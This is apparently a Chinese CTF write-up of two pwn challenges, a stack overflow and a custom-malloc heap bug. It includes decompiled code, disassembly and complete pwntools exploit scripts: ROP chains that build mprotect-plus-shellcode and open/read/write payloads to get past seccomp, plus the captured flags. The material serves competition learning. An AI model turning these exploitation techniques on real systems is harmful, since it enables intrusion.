# stack ## Information - Category: Pwn - Points: 500 ## Description > 听说你很喜欢栈溢出? ## Write-up 虽然逻辑很简单,但是还是先让 MCP 先分析一下逻辑,重命名一下变量名。得到如下程序 : ```c __int64 init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); *(_QWORD *)&random_seed = time(0); srand(random_seed); for ( n2 = 0; n2 <= 2; n2 = rand() % 5 ) ; main_addr_multiplied = (_QWORD)main * n2; global_buffer = malloc(0x1000u); sub_1396(); memset(global_buffer, 0, 0x2000u); global_buffer = (char *)global_buffer - 672; buffer_ptr_offset = (__int64)global_buffer + 256; *((_QWORD *)global_buffer + 32) = (char *)global_buffer + 4096; *(_QWORD *)(buffer_ptr_offset + 8) = sub_132E; counter_n2 = 0; return 0; } ``` 上面这个 `init` 函数里的 `sub_1396` 开了沙箱,禁用了 `open` 和 `execve`,第一反 应是打 orw 。可以用 `openat` 代替 `open`,然后 `sendfile` 可以 `read`,`write` 一把梭。 _PS: 一开始我还注意到程序有 `syscall` gadget,结合 read 我觉得打 SROP 也可以,不 过想着可能还需要栈迁移?好久没做过 SROP 了不知道行不行,就用上面那个看上去更稳妥 的办法了。_ ```c __int64 vuln() { puts("Welcome to YCB2025!"); puts("Good luck!"); read(0, global_buffer, 0x2000u); if ( (unsigned __int64)counter_n2 > 2 ) { puts("Bye~"); exit(0); } ++counter_n2; return 0; } ``` 下面有个后门函数,MCP 重命名了变量名叫 `main_addr_multiplied`,盲猜这个地址保存 的就是 main 函数地址乘以一个随机数了,可以先返回到这里泄漏出来然后随便除几个数字 试试看能不能得到 main 的地址,也可以自己看伪代码,判断一下可能除了什么数,我当时 是猜的,因为数字很小,随便试了下就出来了。 ```c // positive sp value has been detected, the output may be wrong! __int64 sub_1357() { printf("magic number:%lldn", main_addr_multiplied); return vuln(); } ``` 后来研究了一下,发现是在 `init` 里设置的乘什么数,结果范围是 $[3, 4]$: ```c for ( n2 = 0; n2 <= 2; n2 = rand() % 5 ) ; main_addr_multiplied = (_QWORD)main * n2; ``` 由于没有控制 rdi 的 gadgets, 得去看看程序里面有没有可以利用的汇编片段,发现下面 这个函数比较奇怪,使用了 `stdout` 的地址赋值,一般情况下 `stdout` 里面保存的是 l ibc 地址。 ```c FILE **sub_12C9() { FILE **result; // rax result = (FILE **)qword_4090; if ( !qword_4090 ) { qword_4090 = 1; p_stdout = (__int64)&stdout; return &stdout; } return result; } ``` 再看一下它的汇编: ```c {10-13} showLineNumbers=false .text:00000000000012C9 ; FILE **sub_12C9() .text:00000000000012C9 sub_12C9 proc near .text:00000000000012C9 ; __unwind { .text:00000000000012C9 endbr64 .text:00000000000012CD sub rsp, 8 .text:00000000000012D1 mov rax, cs:qword_4090 .text:00000000000012D8 test rax, rax .text:00000000000012DB jnz short loc_1329 .text:00000000000012DD mov cs:qword_4090, 1 .text:00000000000012E8 lea rax, stdout .text:00000000000012EF mov cs:p_stdout, rax .text:00000000000012F6 mov rax, cs:p_stdout .text:00000000000012FD lea rdx, stdout ; rtld_fini .text:0000000000001304 cmp rax, rdx .text:0000000000001307 jnz short loc_1312 .text:0000000000001309 mov rax, cs:p_stdout .text:0000000000001310 jmp short loc_1329 .text:0000000000001312 ; ------------------------------------------------------- -------------------- .text:0000000000001312 .text:0000000000001312 loc_1312: ; CODE XREF: sub_ 12C9+3E↑j .text:0000000000001312 mov cs:qword_4090, 0FFFFFFFFFFFFFFFFh .text:000000000000131D call start .text:0000000000001322 ; ------------------------------------------------------- -------------------- .text:0000000000001322 mov eax, 0 .text:0000000000001327 jmp short $+2 .text:0000000000001329 ; ------------------------------------------------------- -------------------- .text:0000000000001329 .text:0000000000001329 loc_1329: ; CODE XREF: sub_ 12C9+12↑j .text:0000000000001329 ; sub_12C9+47↑j . .. .text:0000000000001329 add rsp, 8 .text:000000000000132D retn .text:000000000000132D ; } // starts at 12C9 ``` 上面给 `rax`, `rdx` 都赋值了 `stdout` 地址,所以 `cmp` 不进 `jnz`,直接返回。 泄漏了这个地址就可以去泄漏 libc 地址了,看到有 `puts`,那想办法把 rax 里面的值给 到 rdi 然后调用 `puts` 就行。 注意到 `puts` 的传参是用的 rax,此外,程序有多处 `puts` 的交叉引用,找一个能用的 就行: ```c {8-9} showLineNumbers=false .text:000000000000161F ; __int64 vuln() .text:000000000000161F vuln proc near ; CODE XREF: sub_ 1357+32↑p .text:000000000000161F ; main+17↓p .text:000000000000161F ; __unwind { .text:000000000000161F endbr64 .text:0000000000001623 push rbp .text:0000000000001624 lea rax, aWelcomeToYcb20 ; "Welcome t o YCB2025!" .text:000000000000162B mov rdi, rax ; s .text:000000000000162E call _puts .text:0000000000001633 lea rax, aGoodLuck ; "Good luck!" .text:000000000000163A mov rdi, rax ; s .text:000000000000163D call _puts .text:0000000000001642 mov rax, cs:global_buffer .text:0000000000001649 mov edx, 2000h ; nbytes .text:000000000000164E mov rsi, rax ; buf .text:0000000000001651 mov edi, 0 ; fd .text:0000000000001656 call _read .text:000000000000165B mov rax, cs:counter_n2 .text:0000000000001662 cmp rax, 2 .text:0000000000001666 jbe short loc_1681 .text:0000000000001668 lea rax, aBye_0 ; "Bye~" .text:000000000000166F mov rdi, rax ; s .text:0000000000001672 call _puts .text:0000000000001677 mov edi, 0 ; status .text:000000000000167C call _exit ``` 上面这个 puts 执行完还能再执行一次 read,这次构造 `mprotect` 设置 bss 可执行,然 后再来一个 `read` 把 shellcode 读到 bss,然后返回到 bss 就好了。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, ROP, args, asm, context, flat, process, raw_input, remote, ) FILE = "./Stack_Over_Flow" HOST, PORT = "45.40.247.139", 25201 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("./libc.so.6") def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = flat( b"A" * 0x108, b"x5f", ) # raw_input("DEBUG") target.sendafter(b"Good luck!", payload) target.recvuntil(b"magic number:") elf.address = (int(target.recvline().strip()) // 3) - 0x16B0 target.success(f"pie: {hex(elf.address)}") control_rdi = elf.address + 0x12E8 payload = flat( b"A" * 0x108, control_rdi, 0, elf.address + 0x162B, # puts ) # raw_input("DEBUG") target.sendafter(b"Good luck!", payload) target.recvline() libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B78 0 target.success(f"libc: {hex(libc.address)}") rop = ROP(libc) payload = flat( b"A" * 0x108, # mprotect libc.address + 0x378DF, # nop; ret libc.address + 0x378DF, # nop; ret rop.rdi.address, elf.address + 0x4000, rop.rsi.address, 0x1337, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x7, 0, rop.rax.address, 0xA, rop.find_gadget(["syscall", "ret"])[0], # read rop.rdi.address, 0, rop.rsi.address, elf.bss() + 0x500, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x1337, 0, rop.rax.address, 0, rop.find_gadget(["syscall", "ret"])[0], elf.bss() + 0x500, ) raw_input("DEBUG") target.sendafter(b"Good luck!", payload) payload = asm(""" mov rax, 0x67616c66 push rax xor edi, edi sub edi, 100 mov rsi, rsp xor edx, edx xor r10, r10 mov eax, 0x101 syscall mov edi, 1 mov esi, 3 push 0 mov rdx, rsp mov r10, 0x1337 mov rax, 0x28 syscall """) target.send(payload) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`DASCTF{86480848618847093058521417023694}`] # malloc ## Information - Category: Pwn - Points: 500 ## Description > 我再也不做堆了 ## Write-up 题目实现了自定义的 `malloc` 和 `free`,在 `create` 函数中,可以申请的 `chunk_idx ` 的最大值是 `0x10`,`chunk_pointers` 数组只能存储 16 个 QWORD(索引 0-15)。调 试发现,当 `chunk_idx` 为 `0x10` 时,malloc 会破坏 `g_chunk_sizes[0]`。 这里简单贴一下几个函数的逆向结果吧: ```c __int64 init() { int i; // [rsp+4h] [rbp-Ch] __int64 seccomp_ctx; // [rsp+8h] [rbp-8h] setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); g_arena_top = (__int64)&g_heap_base; g_heap_size_limit = 4096; g_current_heap_offset = 4096; for ( i = 0; i <= 15; ++i ) g_freelists[i] = 0; seccomp_ctx = seccomp_init(2147418112); seccomp_rule_add(seccomp_ctx, 0, 59, 0); seccomp_rule_add(seccomp_ctx, 0, 322, 0); return seccomp_load(seccomp_ctx); } ``` ```c unsigned __int64 create() { unsigned int chunk_idx_1; // ebx char newline_char; // [rsp+Fh] [rbp-21h] BYREF unsigned int chunk_idx; // [rsp+10h] [rbp-20h] BYREF unsigned int chunk_size; // [rsp+14h] [rbp-1Ch] BYREF unsigned __int64 canary; // [rsp+18h] [rbp-18h] canary = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 && (puts("size"), __isoc99_scanf("%u%c", &chunk_size, &newline_char), chunk_ size <= 0x70) && chunk_size > 0xF ) { chunk_idx_1 = chunk_idx; *((_QWORD *)&g_heap_base + chunk_idx_1 + 512) = do_malloc(chunk_size); *((_QWORD *)&g_heap_base + chunk_idx + 528) = chunk_size; puts("Success"); } else { puts("Invalid"); } return canary - __readfsqword(0x28u); } ``` ```c __int64 __fastcall do_malloc(unsigned int requested_size) { signed int aligned_size; // [rsp+1Ch] [rbp-14h] unsigned int remainder_size; // [rsp+20h] [rbp-10h] int freelist_idx; // [rsp+24h] [rbp-Ch] __int64 allocated_chunk; // [rsp+28h] [rbp-8h] __int64 g_arena_top; // [rsp+28h] [rbp-8h] remainder_size = requested_size & 0xF; if ( remainder_size > 8 ) aligned_size = requested_size - remainder_size + 32; else aligned_size = requested_size - remainder_size + 16; freelist_idx = aligned_size / 16; if ( g_freelists[aligned_size / 16] ) { allocated_chunk = g_freelists[freelist_idx]; g_freelists[freelist_idx] = *(_QWORD *)(allocated_chunk + 16); *(_BYTE *)allocated_chunk = 1; return allocated_chunk + 16; } else { if ( aligned_size >= (unsigned __int64)g_heap_size_limit ) { puts("malloc(): corrupted top chunks"); exit(0); } g_arena_top = g_arena_top; *(_BYTE *)g_arena_top = 1; *(_DWORD *)(g_arena_top + 8) = aligned_size; g_arena_top += aligned_size; g_heap_size_limit -= aligned_size; *(_DWORD *)(g_arena_top + 8) = g_heap_size_limit; return g_arena_top + 16; } } ``` ```c unsigned __int64 delete() { char newline_char; // [rsp+3h] [rbp-Dh] BYREF unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 canary; // [rsp+8h] [rbp-8h] canary = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 ) { do_free(chunk_idx); *((_QWORD *)&g_heap_base + chunk_idx + 528) = 0; puts("Success"); } else { puts("Invalid index"); } return canary - __readfsqword(0x28u); } ``` ```c __int64 __fastcall do_free(unsigned int chunk_idx) { int chunk_size_val; // kr08_4 __int64 chunk_header_ptr_2; // rax int freelist_walk_count; // [rsp+14h] [rbp-1Ch] __int64 chunk_header_ptr_1; // [rsp+20h] [rbp-10h] _BYTE *chunk_header_ptr; // [rsp+28h] [rbp-8h] chunk_header_ptr = (_BYTE *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 16L L); chunk_size_val = *(_DWORD *)(*((_QWORD *)&g_heap_base + chunk_idx + 512) - 8LL ); **((_QWORD **)&g_heap_base + chunk_idx + 512) = g_freelists[chunk_size_val / 1 6]; g_freelists[chunk_size_val / 16] = chunk_header_ptr; *chunk_header_ptr = 0; freelist_walk_count = 0; chunk_header_ptr_2 = *(_QWORD *)(g_freelists[chunk_size_val / 16] + 16LL); chunk_header_ptr_1 = chunk_header_ptr_2; while ( freelist_walk_count <= 13 && chunk_header_ptr_1 ) { if ( (_BYTE *)chunk_header_ptr_1 == chunk_header_ptr ) { puts("free(): double free or corruption (fast)"); exit(0); } chunk_header_ptr_2 = *(_QWORD *)(chunk_header_ptr_1 + 16); chunk_header_ptr_1 = chunk_header_ptr_2; ++freelist_walk_count; } return chunk_header_ptr_2; } ``` ```c unsigned __int64 edit() { char newline_char; // [rsp+Fh] [rbp-11h] BYREF unsigned int chunk_idx; // [rsp+10h] [rbp-10h] BYREF _DWORD nbytes[3]; // [rsp+14h] [rbp-Ch] BYREF *(_QWORD *)&nbytes[1] = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) && (puts("size"), __isoc99_scanf("%u%c", nbytes, &newline_char), nbytes[0] <= *((__int64 *)&g_heap_base + chunk_idx + 528)) ) { read(0, *((void **)&g_heap_base + chunk_idx + 512), nbytes[0]); puts("Success"); } else { puts("Invalid"); } return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u); } ``` ```c unsigned __int64 show() { char newline_char; // [rsp+3h] [rbp-Dh] BYREF unsigned int chunk_idx; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 canary; // [rsp+8h] [rbp-8h] canary = __readfsqword(0x28u); puts("Index"); __isoc99_scanf("%u%c", &chunk_idx, &newline_char); if ( chunk_idx <= 0x10 && *((_QWORD *)&g_heap_base + chunk_idx + 512) ) { puts(*((const char **)&g_heap_base + chunk_idx + 512)); puts("Success"); } else { puts("Invalid index"); } return canary - __readfsqword(0x28u); } ``` ```asm showLineNumbers=false .data:0000000000004008 ; void *off_4008 .data:0000000000004008 off_4008 dq offset off_4008 ; DATA XREF: sub_ 1200+1B↑r .data:0000000000004008 ; .data:off_4008↓ o .data:0000000000004010 align 20h .data:0000000000004020 g_arena_top dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init +6D↑w .data:0000000000004020 ; init+7F↑r ... .data:0000000000004028 g_heap_size_limit dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: init +74↑w .data:0000000000004028 ; do_malloc+D1↑r ... .data:0000000000004030 align 20h .data:0000000000004040 ; _QWORD g_freelists[16] .data:0000000000004040 g_freelists dq 0FFFFFFFFFFFFFFFFh, 0Fh dup(0) .data:0000000000004040 ; DATA XREF: init +A6↑o .data:0000000000004040 ; do_malloc+56↑o ... .data:0000000000004040 _data ends .data:0000000000004040 ``` ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, ROP, args, context, flat, process, raw_input, remote, ) FILE = "./pwn_patched" HOST, PORT = "45.40.247.139", 17742 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("./libc.so.6") def menu(option): target.recvuntil(b"=======================") target.sendline(str(option).encode()) def create(idx, size): menu(1) target.sendlineafter(b"Index", str(idx).encode()) target.sendlineafter(b"size", str(size).encode()) target.recvlines(2) def delete(idx): menu(2) target.sendlineafter(b"Index", str(idx).encode()) target.recvlines(2) def edit(idx, size, data): menu(3) target.sendlineafter(b"Index", str(idx).encode()) target.sendlineafter(b"size", str(size).encode()) target.sendline(data) def show(idx): menu(4) target.sendlineafter(b"Index", str(idx).encode()) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() create(0, 0x70) create(1, 0x70) delete(1) delete(0) # raw_input("DEBUG") show(0) target.recvline() elf.address = int.from_bytes(target.recvline().strip(), "little") - 0x5280 stderr = elf.address + 0x40E0 arr = elf.address + 0x6200 target.success(f"pie: {hex(elf.address)}") target.success(f"arr: {hex(arr)}") target.success(f"stderr: {hex(stderr)}") create(0, 0x70) create(1, 0x70) delete(0) delete(1) # raw_input("DEBUG") create(0x10, 0x70) edit(0, 0x10, flat(stderr - 0x40)) # raw_input("DEBUG") create(0, 0x70) create(2, 0x70) edit(2, 0x10, b"A" * 15) show(2) target.recvlines(2) libc.address = int.from_bytes(target.recvline().strip(), "little") - 0x21B78 0 target.success(f"libc: {hex(libc.address)}") create(3, 0x70) delete(0) delete(3) create(0x10, 0x70) edit(0, 0x10, flat(libc.sym["environ"] - 0x20)) create(0, 0x70) create(4, 0x70) edit(4, 0x10, b"A" * 15) show(4) target.recvline() target.recvline() stack = int.from_bytes(target.recvline().strip(), "little") ret = stack - 0x140 target.success(f"stack: {hex(stack)}") target.success(f"ret: {hex(ret)}") create(5, 0x70) delete(0) delete(5) create(0x10, 0x70) edit(0, 0x10, flat(ret - 0xA0)) create(5, 0x70) create(0, 0x70) create(0x10, 0x70) edit(5, 0x10, b"flagx00x00x00x00") flag = elf.address + 0x5210 rop = ROP(libc) payload = flat( # open rop.rax.address, 2, rop.rdi.address, flag, rop.rsi.address, 0, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0, 0, rop.find_gadget(["syscall", "ret"])[0], # read rop.rax.address, 0, rop.rdi.address, 3, rop.rsi.address, flag, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x100, 0, rop.find_gadget(["syscall", "ret"])[0], # write rop.rax.address, 1, rop.rdi.address, 1, rop.rsi.address, flag, rop.find_gadget(["pop rdx", "pop rbx", "ret"])[0], 0x100, 0, rop.find_gadget(["syscall", "ret"])[0], ) raw_input("DEBUG") edit( 0, 0x200, b"A" * 0x60 + payload, ) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`DASCTF{21569291958017220875601963459603}`] # 赛后 bb 感觉这比赛题很难评啊,一道 stack 一道 malloc,两道题没一个能 patch 后在我机器上 跑的……一直报错 `./libc.so.6: version 'GLIBC_ABI_DT_RELR' not found (required by /usr/lib/libseccomp.so.2)`,怀疑是我 glibc 版本太高了的原因?问运维,告诉我好像 全场就我一个人不能跑附件,我???????被制裁了( 后来光折腾 docker pwn 环境就花了好几个小时,比赛开始 5 小时后我才刚把题目跑起来 ,上午问运维要 Dockerfile 下午才拿到,最后发现也没啥用,还得配虚拟机。玛德,这个 世界对 archlinux 用户充满了恶意,最后我是用 pwndocker + 零配置的 vim 写的这两题 的 exp,别提有多痛苦了…… 另外,国内的比赛都是 p 神争霸赛吗,看麻了,非人 vm 题短时间内 30 多解,哥们用 MC P 逆向都逆半天没逆出来,逆向完了还得看半天,怎么做到的?……













